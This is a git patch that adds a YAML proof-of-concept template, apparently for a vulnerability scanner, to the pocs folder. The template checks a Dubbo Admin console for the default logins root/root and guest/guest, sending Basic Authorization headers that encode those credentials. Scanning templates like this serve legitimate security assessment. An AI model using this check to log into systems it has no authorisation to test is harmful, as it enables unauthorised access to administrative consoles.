From 42a78e9589248750c65285efbf640e26c5bce18f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=8D=8A=E4=B9=9D=E5=8D=81?= Date: Thu, 5 Aug 2021 10:34:42 +0800 Subject: [PATCH] add dubbo-default-password (#1229) * add dubbo-default-password * fix * Update and rename dubbo-default-password.yml to dubbo-admin-default-password.yml Co-authored-by: smile-jpg <55220445+smile-jpg@users.noreply.github.com> --- pocs/dubbo-admin-default-password.yml | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 pocs/dubbo-admin-default-password.yml diff --git a/pocs/dubbo-admin-default-password.yml b/pocs/dubbo-admin-default-password.yml new file mode 100644 index 000000000..9c8cb6d0f --- /dev/null +++ b/pocs/dubbo-admin-default-password.yml @@ -0,0 +1,20 @@ +name: poc-yaml-dubbo-admin-default-password +groups: + root: + - method: GET + path: / + headers: + Authorization: Basic cm9vdDpyb290 + expression: | + response.status == 200 && response.body.bcontains(b"Dubbo Admin") && response.body.bcontains(b": root', '/logout'") && response.body.bcontains(b"/sysinfo/versions") + guest: + - method: GET + path: / + headers: + Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= + expression: | + response.status == 200 && response.body.bcontains(b"Dubbo Admin") && response.body.bcontains(b": guest', '/logout'") && response.body.bcontains(b"/sysinfo/versions") +detail: + author: mumu0215(https://github.com/mumu0215) + links: + - https://www.cnblogs.com/wishwzp/p/9438658.html